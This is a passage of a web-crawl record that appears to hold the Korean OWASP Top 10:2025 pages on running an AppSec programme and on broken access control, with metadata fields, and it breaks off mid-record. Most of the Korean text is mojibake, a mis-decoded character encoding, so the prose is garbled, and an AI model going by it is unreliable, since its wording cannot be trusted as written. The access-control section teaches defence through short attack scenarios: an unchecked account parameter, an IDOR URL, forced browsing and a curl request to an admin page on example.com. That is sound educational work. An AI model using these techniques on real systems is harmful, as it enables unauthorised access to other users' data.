ě• í”ŒëŚŹěź€ě´ě…˜ 및 API뼟 ęľŹěś•í• ë•Œ 따르는 프로세스를 ę°œě„ í•˜ę¸° 위해, [OWASP 소프트웨어 보증 성숙도 모델(SAMM)](https://owasp.org/www-project-samm/)을 권장한다. 이 모델은 조직이 직면한 íŠšě • 위험에 맞춘 소프트웨어 보안 ě „ëžľě„ ěˆ˜ëŚ˝í•˜ęł ęľŹí˜„í•˜ëŠ” 데 도움이 된다.\n- 소프트웨어 개발자에게 시큐어 코딩 교육을 ě œęłľí•˜ęł , 보다 ę˛Źęł í•˜ęł ě•ˆě „í•œ ě• í”ŒëŚŹěź€ě´ě…˜ě„ 만들도록 지원하는 데 도움이 ëœë‹¤ęł íŒë‹¨ë˜ëŠ” 기타 교육도 ě œęłľí•œë‹¤.\n- 코드 댏롰뼟 수행한다. [OWASP 치트 시트: 시큐어 코드 댏롰](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html)을 ě°¸ęł í•œë‹¤.\n- 개발자에게 보안 도구를 ě œęłľí•˜ęł ě‚ŹěšŠ 방법을 교육한다. 특히 ě •ě  분석(static analysis), 소프트웨어 구성 분석(software composition analysis, SCA), 시크릿 및 [코드형 인프라(Infrastructure-as-Code, IaC)](https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html) 스캐너 도구를 포함한다.\n- 개발자가 보안상 ě•ˆě „í•œ ě„ íƒě„ 기본으로 하도록, ę°€ë“œë ˆěźě„ ě ěšŠí•œë‹¤.\n- ę°•ë Ľí•˜ëŠ´ě„œë„ 사용 가능한 보안 í†ľě œëĽź 구축하는 것은 ě–´ë ľë‹¤. 가능한 경우 ě•ˆě „í•œ 기본값을 ě œęłľí•˜ęł , 가능한 경우 '포장된 도로(paved roads, 가장 ě‰˝ęł ě„ í˜¸ë˜ëŠ” 방법이 동시에 가장 ě•ˆě „í•œ 방법이 되도록 하는 것)'뼟 ë§Œë“ ë‹¤. [OWASP 치트 시트](https://cheatsheetseries.owasp.org/index.html)는 개발자에게 좋은 ěśœë°œě ě´ëŠ°, 많은 í˜„ëŒ€ě  í”„ë ˆěž„ě›ŒíŹëŠ” 인가(authorization), 검증(validation), 꾐차 사이트 요청 위조(CSRF) 방지 등과 ę´€ë ¨í•œ í‘œě¤€ě ě´ęł íš¨ęłźě ě¸ 보안 í†ľě œëĽź ě œęłľí•œë‹¤.\n- 개발자에게 보안 ę´€ë ¨ IDE 플러그인을 ě œęłľí•˜ęł ě‚ŹěšŠě„ 권장한다.\n- 시크릿 관리 도구, ëźě´ě„ ěŠ¤, ęˇ¸ëŚŹęł ě‚ŹěšŠ 방법에 대한 문서를 ě œęłľí•œë‹¤.\n- 개발자가 ě‚ŹěšŠí• ěˆ˜ 있는 프라이빗 AI뼟 ě œęłľí•œë‹¤. ě´ěƒě ěœźëĄœëŠ” ěœ ěšŠí•œ 보안 문서로 채워진 RAG 서버, 더 나은 결곟뼟 위해 팀이 작성한 프롬프트, ęˇ¸ëŚŹęł ěĄ°ě§ě—ě„œ ě„ íƒí•œ 보안 도구를 호출하는 MCP 서버로 구성되도록 ě„¤ě •í•œë‹¤. 또한 개발자에게 AI뼟 ě•ˆě „í•˜ę˛Œ 사용하는 방법을 교육한다. 개발자는 보안팀의 ě„ í˜¸ë„ě™€ 무관하게 AI뼟 ě‚ŹěšŠí• ę˛ƒě´ę¸° 때문이다.\n\n### ě§€ě†ě  ě• í”ŒëŚŹěź€ě´ě…˜ 보안 테스트 체계 구축\n\n- ě• í”ŒëŚŹěź€ě´ě…˜ě˜ ę¸°ěˆ ě  기능과 IT 아키텍처와의 연동을 í…ŒěŠ¤íŠ¸í•˜ęł , 비즈니스 테스트와 ëŹ¸ě œę°€ 없도록 조율한다.\n- ę¸°ěˆ ë° 비즈니스 ę´€ě ě—ě„œ \"ě •ěƒ 사용\" 및 \"악용\" 테스트 케이스를 생성한다.\n- 내부 프로세스, 보호 요구 사항 및 ě• í”ŒëŚŹěź€ě´ě…˜ě˜ 예상 위협 수준에 따라 보안 테스트를 관리한다.\n- 개발팀이 ě‚ŹěšŠí• ëł´ě•ˆ 테스트 도구(íźě €, ë™ě  ě• í”ŒëŚŹěź€ě´ě…˜ 보안 테스트 등)와 ě•ˆě „í•œ 테스트 환경, 사용 교육을 ě œęłľí•œë‹¤. 또는 개발팀을 ëŒ€ě‹ í•´ 테스트를 수행하거나 테스터를 투입한다.\n- 높은 수준의 보증(assurance)이 필요한 경우, 공식 욨툏 테스트와 함께 ěŠ¤íŠ¸ë ˆěŠ¤ 테스트 및 성능 테스트를 ęł ë ¤í•œë‹¤.\n- 개발자와 협업하여 버그 리포트에서 어떤 내용을 ěˆ˜ě •í•´ě•ź 하는지 ę°€ě´ë“œí•˜ęł , 그들의 관리자와 협의해 ěˆ˜ě • 시간을 ěźě •ě— í™•ëł´í• ěˆ˜ 있도록 한다.\n\n### 배포\n\n- ě• í”ŒëŚŹěź€ě´ě…˜ě„ 운영환경에 ë°°íŹí•˜ęł , 필요 시 기쥴 시스템에서 ě‹ ęˇœ 시스템으로 ë§ˆě´ęˇ¸ë ˆě´ě…˜ě„ 수행한다.\n- 구성 관리 ë°ě´í„°ë˛ ě´ěŠ¤ě™€ 보안 아키텍처를 포함한 ëŞ¨ë“ ëŹ¸ě„œëĽź 최종 í™•ě •í•œë‹¤.\n\n### 운영 및 변경 관리\n\n- 운영시 ě• í”ŒëŚŹěź€ě´ě…˜ě˜ 보안 관리를 위한 가이드라인(예: 패치 관리)이 포함되어야 한다.\n- 사용자의 보안 인식을 ě œęł í•˜ęł , 사용성과 보안성 간의 상충을 관리한다.\n- 변경(changes)을 ęł„íší•˜ęł ę´€ëŚŹí•œë‹¤. 예뼟 들어 ě• í”ŒëŚŹěź€ě´ě…˜ě˜ ě‹ ęˇœ ë˛„ě „ 또는 OS, 미들웨어, 라이브러리와 같은 기타 구성요소로의 ë˛„ě „ 업데이트를 포함한다.\n- ëŞ¨ë“ ě• í”ŒëŚŹěź€ě´ě…˜ě´ ě¸ë˛¤í† ëŚŹě— 등록되어 있으며, ëŞ¨ë“ ě¤‘ěš” 세부사항이 문서화되어 있음을 보장한다. 구성 관리 ë°ě´í„°ë˛ ě´ěŠ¤ 및 보안 아키텍처, í†ľě œí•­ëŞŠ, 대응방안, 런북(runbook) 또는 í”„ëĄœě íŠ¸ 문서를 포함한 ëŞ¨ë“ ëŹ¸ě„œëĽź ěľœě‹ ěƒíƒœëĄœ ěœ ě§€í•œë‹¤.\n- ëŞ¨ë“ ě• í”ŒëŚŹěź€ě´ě…˜ě— 대해 로깅, 모니터링, 알림(alert)뼟 수행한다. 누락된 경우 추가한다.\n- íš¨ęłźě ě´ęł íš¨ěœ¨ě ě¸ 업데이트 및 패치를 위한 프로세스를 수립한다.\n- ě •ę¸° 스캐닝 ěźě •(가능하면 ë™ě , ě •ě , 시크릿, IaC, 소프트웨어 구성 분석)을 수립한다.\n- 보안 버그 ěˆ˜ě •ě— 대한 SLA뼟 수립한다.\n- 임직원(가능하면 ęł ę°ë„ 포함)이 버그를 ě‹ ęł í• ěˆ˜ 있는 방법을 ě œęłľí•œë‹¤.\n- 소프트웨어 곾겊곟 ě˜ľě €ë˛„ëšŒëŚŹí‹°(observability) 도구를 이해하는, í›ˆë ¨ëœ ěš¨í•´ě‚Źęł ëŒ€ě‘íŒ€ě„ 구성한다.\n- 자동화 공격을 차단하기 위한 차단 또는 방어하는 도구를 운영한다.\n- ě„¤ě •ě— 대한 연 1회(또는 ꡸ 이상) 하드닝을 수행한다.\n- ě• í”ŒëŚŹěź€ě´ě…˜ě— 요구되는 보증 수준에 따라, 최소 연 1회 욨툏 테스트를 수행한다.\n- 소프트웨어 공급망을 í•˜ë“œë‹í•˜ęł ëł´í˜¸í•˜ę¸° 위한 프로세스 및 도구를 수립한다.\n- 비즈니스 연속성 계획(BCP) 및 재해복구(DR) 계획을 ěˆ˜ëŚ˝í•˜ęł ě •ę¸°ě ěœźëĄœ ę°ąě‹ í•œë‹¤. 해당 계획에는 핵심 ě• í”ŒëŚŹěź€ě´ě…˜ęłź 이를 ěœ ě§€ę´€ëŚŹí•˜ëŠ” 데 사용하는 도구를 포함해야 한다.\n\n### 시스템 폐기\n\n- 필요한 데이터는 아카이빙해야 한다. ꡸ 외 ëŞ¨ë“ ë°ě´í„°ëŠ” ě™„ě „ ě‚­ě œí•´ě•ź 한다.\n- 미사용 ęł„ě •(account), ě—­í• (role), 권한(permission) ě‚­ě œëĽź 포함하여 ě• í”ŒëŚŹěź€ě´ě…˜ě„ ě•ˆě „í•˜ę˛Œ 폐기 처리한다.\n- 구성 관리 ë°ě´í„°ë˛ ě´ěŠ¤ ě• í”ŒëŚŹěź€ě´ě…˜ 상태를 폐기 변경한다.\n\n## OWASP Top 10의 표준 활용 가이드\n\nOWASP Top 10은 주로 인식 ě œęł ëŹ¸ě„œě´ë‹¤. 그러나 이는 2003년 처음 발표된 이후로 조직들이 이를 사실상(de facto) 업계 ě• í”ŒëŚŹěź€ě´ě…˜ 보안 표준으로 사용해 온 상황을 막지 못했다. OWASP Top 10을 코딩 또는 테스트 표준으로 ě‚ŹěšŠí•˜ë ¤ëŠ” 경우, 이것이 최소 수준의 ë˛ ě´ěŠ¤ëźě¸ě´ëŠ° 단지 ěśœë°œě ě— 불과하다는 ě ě„ 인지해야 한다.\n\nOWASP Top 10을 표준으로 쓰기 ě–´ë ¤ěš´ ě´ěœ ëŠ”, 각 항목이 ě• í”ŒëŚŹěź€ě´ě…˜ 보안 위험을 문서화 한 것이며, 쉽게 테스트 가능한 위험을 다루는 것은 아니라는 ě ě´ë‹¤. 예뼟 들어 [A06:2025 - ě•ˆě „í•˜ě§€ 않은 설계](../A06_2025-Insecure_Design/)은 대부분의 테스트 방식으로는 검증하기가 ě–´ë ľë‹¤. 또 다른 예로, 로깅 및 모니터링이 ě‹¤ě œëĄœ ě ěšŠë˜ě–´ ěžˆęł , 사용 중이며, íš¨ęłźě ěœźëĄœ 동작하는지 여부를 테스트하는 것은 인터뷰와 ě‚Źęł ëŒ€ě‘ 사례 샘플링하는 방식으로만 가능하다. ě •ě  코드 분석 도구는 로깅 부재를 íƒě§€í• ěˆ˜ 있으나, 비즈니스 로직 또는 ě ‘ęˇź í†ľě œę°€ 위험한 보안 ě‚Źęł ëĽź 로깅하는지 여부를 판단하는 것은 ëśˆę°€ëŠĽí• ěˆ˜ 있다. 욨툏 테스트 역시 테스트 환경에서의 탐지/대응 확인에 ęˇ¸ěš ěˆ˜ 있으며, 테스트 환경은 운영 환경과 동일한 수준이 아닌 아닌 경우가 많다.\n\n아래는 OWASP Top 10을 표준으로 활용하기에 ě ě ˆí•œ 상황에 대한 ęśŒęł ě‚Źí•­ě´ë‹¤:\n\n| **사용 사례** | **OWASP Top 10 2025** | **OWASP ě• í”ŒëŚŹěź€ě´ě…˜ 보안 검증 표준** |\n| --- | --- | --- |\n| 인식 ě œęł | 예 | |\n| 교육 | 입문 수준 | íŹę´„ě ě¸ |\n| 설계와 아키텍처 | 드물게 | 예 |\n| 코딩 표준 | ę¸°ëł¸ě ě¸ | 예 |\n| 보안 코드 댏롰 | ę¸°ëł¸ě ě¸ | 예 |\n| 피어 댏롰(peer review) 체크리스트 | ę¸°ëł¸ě ě¸ | 예 |\n| ěœ ë‹› 테스트 | 드물게 | 예 |\n| 통합 테스트 | 드물게 | 예 |\n| 욨툏 테스트 | ę¸°ëł¸ě ě¸ | 예 |\n| Tool support | ę¸°ëł¸ě ě¸ | 예 |\n| ě•ˆě „í•œ 공급망 | 드물게 | 예 |\n\ně• í”ŒëŚŹěź€ě´ě…˜ 보안 표준을 ěą„íƒí•˜ë ¤ëŠ” 경우, 요구사항을 검증(테스트) 가능하게 ě •ě˜í•˜ë„ëĄ ě„¤ęł„ë˜ě—ˆęł ëł´ě•ˆ ě•ˆě „í•œ 개발 수명 죟기(SDLC) ě „ 단계에 ě ěšŠ 가능한 [OWASP ě• í”ŒëŚŹěź€ě´ě…˜ 보안 검증 표준(ASVS)]((https://owasp.org/www-project-application-security-verification-standard/))뼟 기준으로 활용하는 것을 ęśŒęł í•œë‹¤.\n\n특히 보안 도구 벤더 ę´€ě ě—ě„œëŠ” ASVS뼟 기준으로 삼는 것이 ěœ ěźí•œ ě„ íƒě§€ě´ë‹¤. OWASP Top 10은 위험 중심으로 구성되어 있기에, [A06:2025 - ě•ˆě „í•˜ě§€ 않은 설계](../A06_2025-Insecure_Design/) 사례와 마찬가지로 자동화 도구만으로 ëŞ¨ë“ Top 10 항목을 íŹę´„ě ěœźëĄœ 탐지, 테스트, 방어하기 ě–´ë ľë‹¤. 따라서, 벤더들은 Top 10을 ě „ëś€ ëł´ěžĽí•œë‹¤ęł ěŁźěžĽí•˜ě§€ 않았으면 한다. 왜냐하면 이는 사실이 아니기 때문이다.", "znaku_textu": 19049, "slov": 2231, "odkazu": 58, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:32", "sha256": "e62e6f1c2181fe6f53c05cb62ef6722cdc3c97acc5aa23479c97c295e01a32fa", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://securitychampions.owasp.org/", "https://cheatsheetseries.owasp.org/index.html", "https://top10proactive.owasp.org/", "https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ko/A01_2025-Broken_Access_Control/", "titulek": "A01 충분한 ě ‘ęˇź ě œě–´ - OWASP Top 10:2025", "h1": "A01:2025 불충분한 ě ‘ęˇź ě œě–´", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ko/A01_2025-Broken_Access_Control/", "jazyk": "ko", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A01:2025 불충분한 ě ‘ęˇź ě œě–´"}, {"uroven": 2, "text": "배경."}, {"uroven": 2, "text": "ě ěˆ˜í‘œ."}, {"uroven": 2, "text": "설명."}, {"uroven": 2, "text": "대응 방안."}, {"uroven": 2, "text": "곾겊 시나리오 예시."}, {"uroven": 2, "text": "참쥰."}, {"uroven": 2, "text": "해당되는 CWE 목록."}], "markdown": "# A01:2025 불충분한 ě ‘ęˇź ě œě–´\n\n## 배경.\n\n불충분한 ě ‘ęˇź ě œě–´ëŠ” OWASP TOP 10에서 1위를 ěœ ě§€í•˜ęł ěžˆë‹¤. 테스트된 ëŞ¨ë“ ě• í”ŒëŚŹěź€ě´ě…˜ě—ě„œ 불충분한 ě ‘ęˇź ě œě–´ ěˇ¨ě•˝ě ě´ 발견되었으며, ěŁźëŞŠí• ë§Œí•œ CWE는 *CWE-200: 비인기자에게 ëŻźę°ě •ëł´ 노출*, *CWE-201: ě „ě†Ąëœ 데이터로부터의 ëŻźę°ě •ëł´ 노출*, *CWE-918: 서버측 요청 위조(SSRF)*, ęˇ¸ëŚŹęł *CWE-352: 크로스 사이트 요청 위조(CSRF)* 가 있다. 해당 ěš´í…Œęł ëŚŹëŠ” ě œęłľë°›ě€ 데이터 기준 발생 건수가 가장 많았으며, ę´€ë ¨ëœ CVE 건수는 두 번째로 많았다.\n\n## ě ěˆ˜í‘œ.\n\n| 해당되는 CWE 개수 | 최대 ěˇ¨ě•˝ě  ë°œěƒëĽ | í‰ęˇ ěˇ¨ě•˝ě  ë°œěƒëĽ | 최대 테스트 커버리지 | í‰ęˇ í…ŒěŠ¤íŠ¸ 커버리지 | í‰ęˇ ę°€ě¤‘ 악용도 | í‰ęˇ ę°€ě¤‘ 영향도 | 총 발생 깴수 | 총 CVE 깴수 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 40 | 20.15% | 3.74% | 100.00% | 42.93% | 7.04 | 3.84 | 1,839,701 | 32,654 |\n\n## 설명.\n\ně ‘ęˇź ě œě–´ëŠ” 사용자가 의도된 권한을 벗어나는 행위를 하지 못하도록 ě •ěą…ě„ ę°•ě œí•œë‹¤. ě ‘ęˇź ě œě–´ 실패는 ěźë°˜ě ěœźëĄœ 비인가자 ě •ëł´ ěœ ěśœ, 데이터 ěˆ˜ě • 및 ě‚­ě œ, 또는 사용자 ě œí•œě‚Źí•­ě— 벗어나는 비즈니스 기능을 수행으로 이어질 수 있다. 흔히 발견되는 불충분한 ě ‘ęˇź ě œě–´ ěˇ¨ě•˝ě ě€ 목록은 다음과 같다.\n\n- 최소 권한 원칙 위반, ěš°ě„ ęą°ëś€ ě •ěą…(Deny by Default)이 ě ěšŠë˜ě§€ 않아 ě œí•œëœ 기능, ě—­í• , 사용자들에게만 허용된 ě ‘ęˇź 권한이 ëśˆíŠšě • 다수에게 허용되는 경우.\n- URL 조작(파라미터 변조 및 ę°•ě œ 브라우징), ě• í”ŒëŚŹěź€ě´ě…˜ 내부 상태값 변조, HTML 페이지 변조, 곾겊 도구를 통한 API 요청 변조와 같은 방식으로 ě ‘ęˇź ě œě–´ę°€ ěš°íšŒë ěˆ˜ 있다.\n- ęł ěœ ě‹ëł„ěžëĽź 이용해 타인의 ęł„ě • 조회 ěˆ˜ě •í•˜ëŠ” 경우. 즉, ě•ˆě „í•˜ě§€ 않은 ě§ě ‘ 객체 참쥰(Insecure Direct Object References) ěˇ¨ě•˝ě .\n- ě ‘ęˇź 가능한 API의 POST, PUT 및 DELETE 메서드에 대한 ě ‘ęˇź ě œě–´ę°€ 없는 경우.\n- 권한 상승. 로그인 ęłźě • 없이 다른 사용자로 가장하거나 또는 사용자가 ëł´ěœ í•œ 이상의 권한(예: 관리자 권한)을 획득하는 경우.\n- 메타데이터 조작. 예뼟 들어 JSON Web Token(JWT) ě ‘ęˇź ě œě–´ í† í°ě„ ěžŹě „ě†Ąí•˜ęą°ë‚˜ 변조하는 경우, 권한을 상승시키기 위해 ěż í‚¤ 또는 ížˆë“ í•„ë“œ 값을 조작하는 행위, 또는 JWT 무효화가 없거나 우회하여 악용하는 경우.\n- 꾐차 출처 리소스 ęłľěœ (Cross-Origin Resource Sharing, CORS)의 잘못된 ě„¤ě •ěœźëĄœ 비인가자 또는 ě‹ ë˘°í• ěˆ˜ 없는 출처(Origin)에서 API에 ě ‘ęˇźí• ěˆ˜ 있는 경우.\n- ę°•ě œ 브라우징(URL 추측)을 통해 인증이 필요한 페이지에 인증없이 ě ‘ęˇźí•˜ęą°ë‚˜, 일반 사용자가 권한이 필요한 페이지에 ě ‘ęˇźí• ę˛˝ěš°.\n\n## 대응 방안.\n\ně ‘ęˇź ě œě–´ëŠ” 공격자가 ě ‘ęˇź ě œě–´ 검사나 메타데이터를 ëł€ěĄ°í• ěˆ˜ 없는 곳에서 ě‹ ë˘°í• ěˆ˜ 있는 서버측 코드나 서버리스 API들로 ěˆ˜í–‰ë ë•Œ 실효성이 있다.\n\n- 공개 리소스 ě œě™¸ ëŞ¨ë“ ëŚŹě†ŒěŠ¤ëŠ” ěš°ě„ ęą°ëś€ ě •ěą…(Deny By Default)을 따라야 한다.\n- ě ‘ęˇźě œě–´ 매커니즘을 구현한 후엔 ě „ě˛´ ě• í”ŒëŚŹěź€ě´ě…˜ě— ěžŹě‚ŹěšŠí•˜ęł ęľě°¨ 출처 리소스 검증(CORS) 사용을 최소화 한다.\n- 모델 수준의 ě ‘ęˇź ě œě–´ëŠ” ë ˆě˝”ë“œ ě†Œěœ ěž 기준으로 ě ‘ęˇź 권한을 ě œí•œí•˜ë„ëĄ 한다. 다른 사용자가 임의의 ë ˆě˝”ë“œě— 대해 생성, 조회, ěˆ˜ě •, ě‚­ě œëĽź 수행하도록 하지 못하게 한다.\n- ě• í”ŒëŚŹěź€ě´ě…˜ě˜ ęł ěœ í•œ 비즈니스 ě œě•˝ě‚Źí•­ě€ 도메인 모델에 의해 검사한다.\n- 웹 서버의 ë””ë ‰í„°ëŚŹ 리스팅(directory listing)뼟 ëš„í™œě„ąí™”í•˜ęł , 웹 루트(web root) 내에 파일 메타데이터(예: .git) 및 백업 파일이 존재하지 않도록 해야한다.\n- ě ‘ęˇź ě œě–´ 실패를 ëĄœęš…í•˜ęł í•„ěš”í•œ 경우(예: ë°˜ëłľě ě¸ 실패 발생 시)에 관리자에게 알린다.\n- 자동화된 곾겊 도구로 인한 피해를 최소화하기 위해 API 및 컨트롤러 ě ‘ęˇźě— 대한 속도 ě œí•œ(Rate limit)을 구현한다.\n- 상태기반 세션 식별자는 로그아웃 후 무효화 한다. 상태를 ě €ěžĽí•˜ě§€ 않는 JWT í† í°ě˜ 경우 짧은 ěœ íš¨ě‹œę°„ě„ 부여하여 공격을 위한 기회를 ěľœě†Œí™”í•˜ęł , ěœ íš¨ę¸°ę°„ě´ 긴 JWT í† í°ě€ ëŚŹí”„ë ˆě‰Ź í† í° 사용을 ęł ë ¤í•˜ëŠ°, OAuth 표준에 따른 í† í° 취소도 ęł ë ¤í•œë‹¤.\n- ę°„ë‹¨í•˜ęł ě„ ě–¸ě  ě ‘ęˇź ě œě–´ëĽź ě œęłľí•˜ëŠ” 확립된 툴킷과 패턴을 사용한다.\n\n개발자와 QA 담당자는 단위 및 통합 테스트에서 ě ‘ęˇź ě œě–´ëĽź 포함해야 한다.\n\n## 곾겊 시나리오 예시.\n\n**시나리오 1:** 이 ě• í”ŒëŚŹěź€ě´ě…˜ě€ ęł„ě • ě •ëł´ě— ě ‘ęˇźí•˜ëŠ” SQL 요청에서 검증되지 않은 데이터를 사용한다.\n\n```\npstmt.setString(1, request.getParameter(\"acct\"));\nResultSet results = pstmt.executeQuery( );\n```\n\n공격자는 원하는 ęł„ě • ě •ëł´ëĽź ě „ë‹Źí•˜ę¸° 위해 단순하게 'acct' 파라미터를 ëł€ěĄ°í• ěˆ˜ 있으며, 만약 해당 파라미터가 완벽하게 검증되지 않았을 시 공격자는 ëŞ¨ë“ ě‚ŹěšŠěž ęł„ě • ě •ëł´ě— ě ‘ęˇź 가능하다.\n\n```\nhttps://example.com/app/accountInfo?acct=notmyacct\n```\n\n**시나리오 2:** 공격자는 단순하게 ëŞŠě  URL로 ë¸Œëźěš°ě €ëĽź 이용해 ě ‘ě†í• ěˆ˜ 있다. 하지만 관리자 페이지 ě ‘ęˇźí•˜ę¸° ěœ„í•´ě„ ę´€ëŚŹěž 권한이 요구된다.\n\n```\nhttps://example.com/app/getappInfo\nhttps://example.com/app/admin_getappInfo\n```\n\n먄약 인증되지 않은 사용자가 두 페이지 중 하나에 ě ‘ęˇźí• ěˆ˜ 있다면, 보안 ěˇ¨ě•˝ě ěœźëĄœ 간주한다. 만약 관리자가 아닌 자가 관리자 페이지 ě ‘ęˇźě´ 가능하다면 이 또한 마찬가지다.\n\n**시나리오 3:** ě• í”ŒëŚŹěź€ě´ě…˜ě´ ëŞ¨ë“ ě ‘ęˇź ě œě–´ëĽź í”„ëĄ íŠ¸ 엔드에서만 ęľŹí˜„í• ę˛˝ěš°. 공격자가 ë¸Œëźěš°ě €ě—ě„œ 동작하는 자바 스크립트 코드 때문에 `https://example.com/app/admin_getappInfo` 에 ě ‘ęˇźí• ěˆ˜ 없지만, 커멘드 라인에서 단순하게 curl ëŞ…ë šě–´ëĽź 실행하면 ě ‘ě†í• ěˆ˜ 있다.\n\n```\n$ curl https://example.com/app/admin_getappInfo\n```\n\n## 참쥰.\n\n- [OWASP Proactive Controls: C1: Implement Access Control](https://top10proactive.owasp.org/archive/2024/the-top-10/c1-accesscontrol/)\n- [OWASP Application Security Verification Standard: V8 Authorization](https://github.com/OWASP/ASVS/blob/master/5.0/en/0x17-V8-Authorization.md)\n- [OWASP Testing Guide: Authorization Testing](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/README)\n- [OWASP Cheat Sheet: Authorization](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html)\n- [PortSwigger: Exploiting CORS misconfiguration](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)\n- [OAuth: Revoking Access](https://www.oauth.com/oauth2-servers/listing-authorizations/revoking-access/)\n\n## 해당되는 CWE 목록.\n\n- [CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')](https://cwe.mitre.org/data/definitions/22.html)\n- [CWE-23 Relative Path Traversal](https://cwe.mitre.org/data/definitions/23.html)\n- [CWE-36 Absolute Path Traversal](https://cwe.mitre.org/data/definitions/36.html)\n- [CWE-59 Improper Link Resolution Before File Access ('Link Following')](https://cwe.mitre.org/data/definitions/59.html)\n- [CWE-61 UNIX Symbolic Link (Symlink) Following](https://cwe.mitre.org/data/definitions/61.html)\n- [CWE-65 Windows Hard Link](https://cwe.mitre.org/data/definitions/65.html)\n- [CWE-200 Exposure of Sensitive Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/200.html)\n- [CWE-201 Exposure of Sensitive Information Through Sent Data](https://cwe.mitre.org/data/definitions/201.html)\n- [CWE-219 Storage of File with Sensitive Data Under Web Root](https://cwe.mitre.org/data/definitions/219.html)\n- [CWE-276 Incorrect Default Permissions](https://cwe.mitre.org/data/definitions/276.html)\n- [CWE-281 Improper Preservation of Permissions](https://cwe.mitre.org/data/definitions/281.html)\n- [CWE-282 Improper Ownership Management](https://cwe.mitre.org/data/definitions/282.html)\n- [CWE-283 Unverified Ownership](https://cwe.mitre.org/data/definitions/283.html)\n- [CWE-284 Improper Access Control](https://cwe.mitre.org/data/definitions/284.html)\n- [CWE-285 Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)\n- [CWE-352 Cross-Site Request Forgery (CSRF)](https://cwe.mitre.org/data/definitions/352.html)\n- [CWE-359 Exposure of Private Personal Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/359.html)\n- [CWE-377 Insecure Temporary File](https://cwe.mitre.org/data/definitions/377.html)\n- [CWE-379 Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html)\n- [CWE-402 Transmission of Private Resources into a New Sphere ('Resource Leak')](https://cwe.mitre.org/data/definitions/402.html)\n- [CWE-424 Improper Protection of Alternate Path](https://cwe.mitre.org/data/definitions/424.html)\n- [CWE-425 Direct Request ('Forced Browsing')](https://cwe.mitre.org/data/definitions/425.html)\n- [CWE-441 Unintended Proxy or Intermediary ('Confused Deputy')](https://cwe.mitre.org/data/definitions/441.html)\n- [CWE-497 Exposure of Sensitive System Information to an Unauthorized Control Sphere](https://cwe.mitre.org/data/definitions/497.html)\n- [CWE-538 Insertion of Sensitive Information into Externally-Accessible File or Directory](https://cwe.mitre.org/data/definitions/538.html)\n- [CWE-540 Inclusion of Sensitive Information in Source Code](https://cwe.mitre.org/data/definitions/540.html)\n- [CWE-548 Exposure of Information Through Directory Listing](https://cwe.mitre.org/data/definitions/548.html)\n- [CWE-552 Files or Directories Accessible to External Parties](https://cwe.mitre.org/data/definitions/552.html)\n- [CWE-566 Authorization Bypass Through User-Controlled SQL Primary Key](https://cwe.mitre.org/data/definitions/566.html)\n- [CWE-601 URL Redirection to Untrusted Site ('Open Redirect')](https://cwe.mitre.org/data/definitions/601.html)\n- [CWE-615 Inclusion of Sensitive Information in Source Code Comments](https://cwe.mitre.org/data/definitions/615.html)\n- [CWE-639 Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)\n- [CWE-668 Exposure of Resource to Wrong Sphere](https://cwe.mitre.org/data/definitions/668.html)\n- [CWE-732 Incorrect Permission Assignment for Critical Resource](https://cwe.mitre.org/data/definitions/732.html)\n- [CWE-749 Exposed Dangerous Method or Function](https://cwe.mitre.org/data/definitions/749.html)\n- [CWE-862 Missing Authorization](https://cwe.mitre.org/data/definitions/862.html)\n- [CWE-863 Incorrect Authorization](https://cwe.mitre.org/data/definitions/863.html)\n- [CWE-918 Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)\n- [CWE-922 Insecure Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/922.html)\n- [CWE-1275 Sensitive Cookie with Improper SameSite Attribute](https://cwe.mitre.org/data/definitions/1275.html)", "znaku_textu": 11155, "slov": 1154, "odkazu": 81, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:33", "sha256": "04e740f44bcb0618818187a9ef3b8c00525f0de93be5a9a5e660d1010b84ba9a", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://top10proactive.owasp.org/archive/2024/the-top-10/c1-accesscontrol/", "https://github.com/OWASP/ASVS/blob/master/5.0/en/0x17-V8-Authorization.md", "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html", "https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties", "https://www.oauth.com/oauth2-servers/listing-authorizations/revoking-access/", "https://cwe.mitre.org/data/definitions/22.html", "https://cwe.mitre.org/data/definitions/23.html", "https://cwe.mitre.org/data/definitions/36.html", "https://cwe.mitre.org/data/definitions/59.html", "https://cwe.mitre.org/data/definitions/61.html", "https://cwe.mitre.org/data/definitions/65.html", 